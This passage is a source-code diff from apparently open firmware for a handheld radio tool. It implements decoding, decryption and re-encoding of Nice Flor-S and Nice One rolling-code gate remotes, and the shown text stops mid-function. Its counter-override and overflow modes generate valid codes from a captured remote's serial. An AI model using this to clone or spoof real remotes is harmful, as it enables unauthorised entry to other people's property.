new file mode 100644
index 000000000..5b301573e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.c
@@ -0,0 +1,987 @@
+#include "nice_flor_s.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+/*
+ * https://phreakerclub.com/1615
+ * https://phreakerclub.com/forum/showthread.php?t=2360
+ * https://vrtp.ru/index.php?showtopic=27867
+ */
+
+#define TAG "SubGhzProtocolNiceFlorS"
+
+#define NICE_ONE_COUNT_BIT                          72
+#define NICE_ONE_NAME                               "Nice One"
+#define SUBGHZ_NICE_FLOR_S_RAINBOW_TABLE_SIZE_BYTES 32
+#define SUBGHZ_NO_NICE_FLOR_S_RAINBOW_TABLE         0
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_nice_flor_s_const = {
+    .te_short = 500,
+    .te_long = 1000,
+    .te_delta = 300,
+    .min_count_bit_for_found = 52,
+};
+
+struct SubGhzProtocolDecoderNiceFlorS {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    const char* nice_flor_s_rainbow_table_file_name;
+};
+
+struct SubGhzProtocolEncoderNiceFlorS {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    const char* nice_flor_s_rainbow_table_file_name;
+};
+
+typedef enum {
+    NiceFlorSDecoderStepReset = 0,
+    NiceFlorSDecoderStepCheckHeader,
+    NiceFlorSDecoderStepFoundHeader,
+    NiceFlorSDecoderStepSaveDuration,
+    NiceFlorSDecoderStepCheckDuration,
+} NiceFlorSDecoderStep;
+
+static uint8_t nice_flors_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_nice_flor_s_decoder = {
+    .alloc = subghz_protocol_decoder_nice_flor_s_alloc,
+    .free = subghz_protocol_decoder_nice_flor_s_free,
+
+    .feed = subghz_protocol_decoder_nice_flor_s_feed,
+    .reset = subghz_protocol_decoder_nice_flor_s_reset,
+
+    .get_hash_data = subghz_protocol_decoder_nice_flor_s_get_hash_data,
+    .serialize = subghz_protocol_decoder_nice_flor_s_serialize,
+    .deserialize = subghz_protocol_decoder_nice_flor_s_deserialize,
+    .get_string = subghz_protocol_decoder_nice_flor_s_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_nice_flor_s_encoder = {
+    .alloc = subghz_protocol_encoder_nice_flor_s_alloc,
+    .free = subghz_protocol_encoder_nice_flor_s_free,
+
+    .deserialize = subghz_protocol_encoder_nice_flor_s_deserialize,
+    .stop = subghz_protocol_encoder_nice_flor_s_stop,
+    .yield = subghz_protocol_encoder_nice_flor_s_yield,
+};
+
+const SubGhzProtocol subghz_protocol_nice_flor_s = {
+    .name = SUBGHZ_PROTOCOL_NICE_FLOR_S_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send | SubGhzProtocolFlag_NiceFlorS,
+
+    .decoder = &subghz_protocol_nice_flor_s_decoder,
+    .encoder = &subghz_protocol_nice_flor_s_encoder,
+};
+
+static void subghz_protocol_nice_flor_s_remote_controller(
+    SubGhzBlockGeneric* instance,
+    const char* file_name);
+
+void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderNiceFlorS* instance = malloc(sizeof(SubGhzProtocolEncoderNiceFlorS));
+
+    instance->base.protocol = &subghz_protocol_nice_flor_s;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->nice_flor_s_rainbow_table_file_name =
+        subghz_environment_get_nice_flor_s_rainbow_table_file_name(environment);
+    if(instance->nice_flor_s_rainbow_table_file_name) {
+        FURI_LOG_D(
+            TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name);
+    }
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 2400; // 2368 for Nice ONE
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_nice_flor_s_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNiceFlorS* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static void subghz_protocol_nice_one_get_data(uint8_t* p, uint8_t num_parcel, uint8_t hold_bit);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x1 | 0x2 | 0x4 | 0x8 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_nice_flor_s_get_btn_code(void);
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ * @return true On success
+ */
+static void subghz_protocol_encoder_nice_flor_s_get_upload(
+    SubGhzProtocolEncoderNiceFlorS* instance,
+    uint8_t btn,
+    const char* file_name) {
+    furi_assert(instance);
+    size_t index = 0;
+    btn = instance->generic.btn;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_nice_flor_s_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn)) {
+        bypass = true;
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+    }
+
+    size_t size_upload = ((instance->generic.data_count_bit * 2) + ((37 + 2 + 2) * 2) * 16);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override) bypass = true;
+
+    if(nice_flors_counter_mode == 0 || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(nice_flors_counter_mode == 1) {
+        // Mode 1 (floxi2r)
+        // 0001 / FFFE
+        if(instance->generic.cnt == 0xFFFE) {
+            instance->generic.cnt = 0x0001;
+        } else {
+            instance->generic.cnt = 0xFFFE;
+        }
+    } else {
+        // Mode 2 (ox2)
+        // 0x0000 / 0x0001
+        if(instance->generic.cnt >= 0x0001) {
+            instance->generic.cnt = 0;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt;
+    uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name);
+
+    for(int i = 0; i < 16; i++) {
+        static const uint64_t loops[16] = {
+            0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF};
+
+        uint8_t byte;
+
+        byte = btn << 4 | (0xF ^ btn ^ loops[i]);
+        instance->generic.data = (uint64_t)byte << 44 | enc_part;
+
+        //Send header
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 37);
+        //Send start bit
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3);
+
+        //Send key data
+        for(uint8_t j = 52; j > 0; j--) {
+            if(bit_read(instance->generic.data, j - 1)) {
+                //send bit 1
+                instance->encoder.upload[index++] =
+                    level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_long);
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short);
+            } else {
+                //send bit 0
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short);
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_nice_flor_s_const.te_long);
+            }
+        }
+        if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+            uint8_t add_data[10] = {0};
+            for(size_t i = 0; i < 7; i++) {
+                add_data[i] = (instance->generic.data >> (48 - i * 8)) & 0xFF;
+            }
+            subghz_protocol_nice_one_get_data(add_data, loops[i], loops[i]);
+            instance->generic.data_2 = 0;
+            for(size_t j = 7; j < 10; j++) {
+                instance->generic.data_2 <<= 8;
+                instance->generic.data_2 += add_data[j];
+            }
+
+            //Send key data
+            for(uint8_t j = 24; j > 4; j--) {
+                if(bit_read(instance->generic.data_2, j - 1)) {
+                    //send bit 1
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_nice_flor_s_const.te_long);
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short);
+                } else {
+                    //send bit 0
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short);
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_nice_flor_s_const.te_long);
+                }
+            }
+        }
+        //Send stop bit
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3);
+        //instance->encoder.upload[index++] =
+        //level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3);
+    }
+    instance->encoder.size_upload = index;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNiceFlorS* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+        // flipper_format_read_uint32(
+        // flipper_format, "Data", (uint32_t*)&instance->generic.data_2, 1);
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            nice_flors_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            nice_flors_counter_mode = 0;
+        }
+
+        subghz_protocol_nice_flor_s_remote_controller(
+            &instance->generic, instance->nice_flor_s_rainbow_table_file_name);
+        subghz_protocol_encoder_nice_flor_s_get_upload(
+            instance, instance->generic.btn, instance->nice_flor_s_rainbow_table_file_name);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+            if(!flipper_format_rewind(flipper_format)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                break;
+            }
+            uint32_t temp = (instance->generic.data_2 >> 4) & 0xFFFFF;
+            if(!flipper_format_update_uint32(flipper_format, "Data", &temp, 1)) {
+                FURI_LOG_E(TAG, "Unable to update Data");
+            }
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_nice_flor_s_stop(void* context) {
+    SubGhzProtocolEncoderNiceFlorS* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context) {
+    SubGhzProtocolEncoderNiceFlorS* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/**
+ * Read bytes from rainbow table
+ * @param p array[10]  P0-P1|P2-P3-P4-P5-P6-P7-P8-P9-P10
+ * @return crc
+ */
+static uint32_t subghz_protocol_nice_one_crc(uint8_t* p) {
+    uint8_t crc = 0;
+    uint8_t crc_data = 0xff;
+    for(uint8_t i = 4; i < 68; i++) {
+        if(subghz_protocol_blocks_get_bit_array(p, i)) {
+            crc = crc_data ^ 1;
+        } else {
+            crc = crc_data;
+        }
+        crc_data >>= 1;
+        if((crc & 0x01)) {
+            crc_data ^= 0x97;
+        }
+    }
+    crc = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        crc <<= 1;
+        if((crc_data >> i) & 0x01) crc = crc | 1;
+    }
+    return crc;
+}
+
+/**
+ * Read bytes from rainbow table
+ * @param p array[10]  P0-P1|P2-P3-P4-P5-P6-P7-XX-XX-XX
+ * @param num_parcel  parcel number 0..15
+ * @param hold_bit  0 - the button was only pressed, 1 - the button was held down
+ */
+static void subghz_protocol_nice_one_get_data(uint8_t* p, uint8_t num_parcel, uint8_t hold_bit) {
+    uint8_t k = 0;
+    uint8_t crc = 0;
+    p[1] = (p[1] & 0x0f) | ((0x0f ^ (p[0] & 0x0F) ^ num_parcel) << 4);
+    if(num_parcel < 4) {
+        k = 0x8f;
+    } else {
+        k = 0x80;
+    }
+
+    if(!hold_bit) {
+        hold_bit = 0;
+    } else {
+        hold_bit = 0x10;
+    }
+    k = num_parcel ^ k;
+    p[7] = k;
+    p[8] = hold_bit ^ (k << 4);
+
+    crc = subghz_protocol_nice_one_crc(p);
+
+    p[8] |= crc >> 4;
+    p[9] = crc << 4;
+}
+
+/** 
+ * Read bytes from buffer array with rainbow table
+ * @param buffer pointer to decrypted rainbow table 
+ * @param address Byte address in file
+ * @return data
+ */
+static uint8_t subghz_protocol_nice_flor_s_get_byte_from_buffer(uint8_t* buffer, uint8_t address) {
+    return buffer[address];
+}
+
+static inline void subghz_protocol_decoder_nice_flor_s_magic_xor(uint8_t* p, uint8_t k) {
+    for(uint8_t i = 1; i < 6; i++) {
+        p[i] ^= k;
+    }
+}
+
+uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_name) {
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_NICE_FLOR_S_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_NICE_FLOR_S_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_NICE_FLOR_S_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_NICE_FLOR_S_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+
+    uint8_t k = 0;
+    for(uint8_t y = 0; y < 2; y++) {
+        k = subghz_protocol_nice_flor_s_get_byte_from_buffer(buffer_ptr, p[0] & 0x1f);
+        subghz_protocol_decoder_nice_flor_s_magic_xor(p, k);
+
+        p[5] &= 0x0f;
+        p[0] ^= k & 0xe0;
+        k = subghz_protocol_nice_flor_s_get_byte_from_buffer(buffer_ptr, p[0] >> 3) + 0x25;
+        subghz_protocol_decoder_nice_flor_s_magic_xor(p, k);
+
+        p[5] &= 0x0f;
+        p[0] ^= k & 0x7;
+        if(y == 0) {
+            k = p[0];
+            p[0] = p[1];
+            p[1] = k;
+        }
+    }
+
+    p[5] = ~p[5] & 0x0f;
+    k = ~p[4];
+    p[4] = ~p[0];
+    p[0] = ~p[2];
+    p[2] = k;
+    k = ~p[3];
+    p[3] = ~p[1];
+    p[1] = k;
+
+    return data;
+}
+
+static uint64_t
+    subghz_protocol_nice_flor_s_decrypt(SubGhzBlockGeneric* instance, const char* file_name) {
+    furi_assert(instance);
+    uint64_t data = instance->data;
+
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_NICE_FLOR_S_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_NICE_FLOR_S_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_NICE_FLOR_S_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_NICE_FLOR_S_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+
+    uint8_t k = 0;
+
+    k = ~p[4];
+    p[5] = ~p[5];
+    p[4] = ~p[2];
+    p[2] = ~p[0];
+    p[0] = k;
+    k = ~p[3];
+    p[3] = ~p[1];
+    p[1] = k;
+
+    for(uint8_t y = 0; y < 2; y++) {
+        k = subghz_protocol_nice_flor_s_get_byte_from_buffer(buffer_ptr, p[0] >> 3) + 0x25;
+        subghz_protocol_decoder_nice_flor_s_magic_xor(p, k);
+
+        p[5] &= 0x0f;
+        p[0] ^= k & 0x7;
+        k = subghz_protocol_nice_flor_s_get_byte_from_buffer(buffer_ptr, p[0] & 0x1f);
+        subghz_protocol_decoder_nice_flor_s_magic_xor(p, k);
+
+        p[5] &= 0x0f;
+        p[0] ^= k & 0xe0;
+
+        if(y == 0) {
+            k = p[0];
+            p[0] = p[1];
+            p[1] = k;
+        }
+    }
+
+    return data;
+}
+
+bool subghz_protocol_nice_flor_s_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset,
+    bool nice_one) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNiceFlorS* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    if(nice_one) {
+        instance->generic.data_count_bit = NICE_ONE_COUNT_BIT;
+    } else {
+        instance->generic.data_count_bit = 52;
+    }
+    uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt;
+    uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(
+        decrypt, instance->nice_flor_s_rainbow_table_file_name);
+    uint8_t byte = btn << 4 | (0xF ^ btn ^ 0x3);
+    instance->generic.data = (uint64_t)byte << 44 | enc_part;
+
+    if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+        uint8_t add_data[10] = {0};
+        for(size_t i = 0; i < 7; i++) {
+            add_data[i] = (instance->generic.data >> (48 - i * 8)) & 0xFF;
+        }
+        subghz_protocol_nice_one_get_data(add_data, 0, 0);
+        instance->generic.data_2 = 0;
+        for(size_t j = 7; j < 10; j++) {
+            instance->generic.data_2 <<= 8;
+            instance->generic.data_2 += add_data[j];
+        }
+    }
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+void* subghz_protocol_decoder_nice_flor_s_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderNiceFlorS* instance = malloc(sizeof(SubGhzProtocolDecoderNiceFlorS));
+    instance->base.protocol = &subghz_protocol_nice_flor_s;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->nice_flor_s_rainbow_table_file_name =
+        subghz_environment_get_nice_flor_s_rainbow_table_file_name(environment);
+    if(instance->nice_flor_s_rainbow_table_file_name) {
+        FURI_LOG_D(
+            TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name);
+    }
+    return instance;
+}
+
+void subghz_protocol_decoder_nice_flor_s_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+    instance->nice_flor_s_rainbow_table_file_name = NULL;
+    free(instance);
+}
+
+void subghz_protocol_decoder_nice_flor_s_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+    instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+}
+
+void subghz_protocol_decoder_nice_flor_s_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case NiceFlorSDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_short * 38) <
+                        subghz_protocol_nice_flor_s_const.te_delta * 38)) {
+            //Found start header Nice Flor-S
+            instance->decoder.parser_step = NiceFlorSDecoderStepCheckHeader;
+        }
+        break;
+    case NiceFlorSDecoderStepCheckHeader:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_short * 3) <
+                       subghz_protocol_nice_flor_s_const.te_delta * 3)) {
+            //Found next header Nice Flor-S
+            instance->decoder.parser_step = NiceFlorSDecoderStepFoundHeader;
+        } else {
+            instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+        }
+        break;
+    case NiceFlorSDecoderStepFoundHeader:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_short * 3) <
+                        subghz_protocol_nice_flor_s_const.te_delta * 3)) {
+            //Found header Nice Flor-S
+            instance->decoder.parser_step = NiceFlorSDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+        }
+        break;
+    case NiceFlorSDecoderStepSaveDuration:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_short * 3) <
+               subghz_protocol_nice_flor_s_const.te_delta) {
+                //Found STOP bit
+                instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_nice_flor_s_const.min_count_bit_for_found) ||
+                   (instance->decoder.decode_count_bit == NICE_ONE_COUNT_BIT)) {
+                    instance->generic.data = instance->generic.data_2;
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->decoder.decode_data = instance->generic.data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            } else {
+                //save interval
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = NiceFlorSDecoderStepCheckDuration;
+            }
+        }
+        break;
+    case NiceFlorSDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_nice_flor_s_const.te_short) <
+                subghz_protocol_nice_flor_s_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_long) <
+                subghz_protocol_nice_flor_s_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = NiceFlorSDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_nice_flor_s_const.te_long) <
+                 subghz_protocol_nice_flor_s_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nice_flor_s_const.te_short) <
+                 subghz_protocol_nice_flor_s_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = NiceFlorSDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = NiceFlorSDecoderStepReset;
+        }
+        if(instance->decoder.decode_count_bit ==
+           subghz_protocol_nice_flor_s_const.min_count_bit_for_found) {
+            instance->generic.data_2 = instance->decoder.decode_data;
+            instance->decoder.decode_data = 0;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param file_name Full path to rainbow table the file 
+ */
+static void subghz_protocol_nice_flor_s_remote_controller(
+    SubGhzBlockGeneric* instance,
+    const char* file_name) {
+    /*
+    * Protocol Nice Flor-S
+    * Packet format Nice Flor-s: START-P0-P1-P2-P3-P4-P5-P6-P7-STOP
+    * P0 (4-bit)    - button positional code - 1:0x1, 2:0x2, 3:0x4, 4:0x8;
+    * P1 (4-bit)    - batch repetition number, calculated by the formula:
+    * P1 = 0xF ^ P0 ^ n; where n changes from 1 to 15, then 0, and then in a circle
+    * key 1: {0xE,0xF,0xC,0xD,0xA,0xB,0x8,0x9,0x6,0x7,0x4,0x5,0x2,0x3,0x0,0x1};
+    * key 2: {0xD,0xC,0xF,0xE,0x9,0x8,0xB,0xA,0x5,0x4,0x7,0x6,0x1,0x0,0x3,0x2};
+    * key 3: {0xB,0xA,0x9,0x8,0xF,0xE,0xD,0xC,0x3,0x2,0x1,0x0,0x7,0x6,0x5,0x4};
+    * key 4: {0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0xF,0xE,0xD,0xC,0xB,0xA,0x9,0x8};
+    * P2 (4-bit)    - part of the serial number, P2 = (K ^ S3) & 0xF;
+    * P3 (byte)     - the major part of the encrypted index
+    * P4 (byte)     - the low-order part of the encrypted index
+    * P5 (byte)     - part of the serial number, P5 = K ^ S2;
+    * P6 (byte)     - part of the serial number, P6 = K ^ S1;
+    * P7 (byte)     - part of the serial number, P7 = K ^ S0;
+    * K (byte)      - depends on P3 and P4, K = Fk(P3, P4);
+    * S3,S2,S1,S0   - serial number of the console 28 bit.
+    *
+    * data    => 0x1c5783607f7b3     key  serial  cnt
+    * decrypt => 0x10436c6820444 => 0x1  0436c682 0444
+    * 
+    * Protocol Nice One
+    * Generally repeats the Nice Flor-S protocol, but there are a few changes
+    * Packet format first 52 bytes repeat Nice Flor-S protocol
+    * The additional 20 bytes contain the code of the pressed button,
+    *    the button hold bit and the CRC of the entire message.
+    *       START-P0-P1-P2-P3-P4-P5-P6-P7-P8-P9-P10-STOP
+    * P7 (byte)     - if (n<4) k=0x8f : k=0x80; P7= k^n;
+    * P8 (byte)     - if (hold bit) b=0x00 : b=0x10; P8= b^(k<<4) | 4 hi bit crc
+    * P10 (4-bit)   - 4 lo bit crc 
+    *                            key+b crc  
+    * data    => 0x1724A7D9A522F  899  D6 hold bit = 0 - just pressed the button
+    * data    => 0x1424A7D9A522F  8AB  03 hold bit = 1 - button hold
+    * 
+    * A small button hold counter (0..15) is stored between each press,
+    *  i.e. if 1 press of the button stops counter 6, then the next press 
+    *  of the button will start from the value 7 (hold bit = 0), 8 (hold bit = 1)...
+    *  further up to 15 with overflow
+    * 
+    */
+    if(!file_name) {
+        instance->cnt = 0;
+        instance->serial = 0;
+        instance->btn = 0;
+    } else {
+        uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name);
+        instance->cnt = decrypt & 0xFFFF;
+        instance->serial = (decrypt >> 16) & 0xFFFFFFF;
+        instance->btn = (decrypt >> 48) & 0xF;
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(4);
+}
+
+uint8_t subghz_protocol_decoder_nice_flor_s_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_nice_flor_s_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+        }
+        if((ret == SubGhzProtocolStatusOk) &&
+           !flipper_format_insert_or_update_uint32(
+               flipper_format, "Data", (uint32_t*)&instance->generic.data_2, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Data");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+        }
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
